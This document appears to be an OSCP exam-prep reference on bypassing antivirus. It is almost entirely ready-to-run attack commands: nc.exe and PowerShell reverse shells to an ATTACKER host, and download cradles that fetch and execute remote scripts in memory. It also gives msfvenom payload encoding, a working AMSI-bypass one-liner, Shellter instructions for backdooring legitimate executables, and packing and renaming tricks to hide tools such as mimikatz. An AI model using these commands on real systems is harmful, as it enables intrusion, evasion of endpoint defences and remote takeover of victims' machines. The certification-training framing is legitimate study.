AV Evasion Reference
Techniques to bypass antivirus on OSCP targets. Rarely needed but can save you when Defender blocks your payload. OSCP allows: custom scripts, manual evasion. OSCP bans: commercial tools (Cobalt Strike, etc.)
Quick Decision Tree
Payload blocked by AV?
│
├── Try nc.exe first (rarely flagged)
│ C:\Windows\Temp\nc.exe ATTACKER PORT -e cmd.exe
│
├── Try PowerShell in-memory (no file on disk)
│ powershell -e <BASE64_PAYLOAD>
│ IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
│
├── Try Shellter (inject into legit PE)
│ shellter → Auto → select legit .exe → inject meterpreter
│
└── Try manual obfuscation (rename, recompile, modify strings)
Technique 1: Use nc.exe (Simplest — Try First)
nc.exe is rarely flagged by AV because it’s a legitimate networking tool.
# Host it from Kali
cp /usr/share/windows-resources/binaries/nc.exe .
python3 -m http.server 80
# Download to target
certutil -urlcache -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe
# Execute
C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe
Technique 2: PowerShell In-Memory Execution (No File on Disk)
AV file engines can’t detect what never touches disk. PowerShell download cradles execute directly in memory.
# Download and execute script in memory (nothing written to disk)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
# Base64 encoded payload (no quoting issues, harder to signature-match)
powershell -nop -w hidden -e <BASE64_PAYLOAD>
Generate base64 payload:
# On Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f psh -o shell.ps1
cat shell.ps1 | iconv -t UTF-16LE | base64 -w 0
# Copy the output, use with: powershell -e <PASTE>
PowerShell AMSI Bypass (if PowerShell itself is blocked)
AMSI (Antimalware Scan Interface) scans PowerShell commands before execution. Bypass it:
# Simple AMSI bypass (may be patched — try variations)
$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
Technique 3: Shellter (Inject Payload into Legit PE)
Shellter injects shellcode into a legitimate Windows executable, preserving its original functionality.
# Install on Kali
sudo apt install shellter wine
# ARM64 Kali (Apple Silicon):
sudo dpkg --add-architecture amd64
sudo apt install -y qemu-user-static binfmt-support
sudo apt install wine32
# Run
shellter
Steps:
- Select A (Auto mode)
- Point to a legitimate 32-bit Windows .exe (download any installer)
- Enable Stealth Mode (restores original exe behavior after payload runs)
- Select payload: L (listed) → 1 (Meterpreter reverse TCP)
- Set LHOST and LPORT
- Transfer backdoored exe to target
# Set up listener for Meterpreter
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST ATTACKER;set LPORT 443;run;"
⚠️ Shellter only works with 32-bit PEs. Download a 32-bit installer as the carrier. ⚠️ Don’t upload to VirusTotal — it shares samples with all AV vendors.
Technique 4: Manual Obfuscation
When pre-built payloads are flagged:
# Recompile exploit from source (different compiler = different hash)
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
# Change strings in the binary
sed -i 's/metasploit/legitimate/g' exploit.c
# UPX packing (changes hash, may bypass simple signature checks)
upx --best exploit.exe -o packed.exe
# Rename known-flagged tools
cp mimikatz.exe notepad_helper.exe
Technique 5: Living Off the Land (No External Tools)
Use tools already on the target that AV won’t flag:
# PowerShell reverse shell (no external binary needed)
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# certutil for file transfer (built-in, rarely blocked)
certutil -urlcache -f http://ATTACKER/file C:\Windows\Temp\file
# bitsadmin alternative
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\Windows\Temp\file
When AV Is Not the Problem
On OSCP, most targets have AV disabled or minimal. If your payload isn’t working:
- Check architecture (32 vs 64 bit)
- Check firewall (try ports 80/443 instead of 4444)
- Check the payload works locally first
- Use nc.exe — it almost always works
The exam is about methodology, not AV evasion. Don’t spend hours on evasion when nc.exe will work.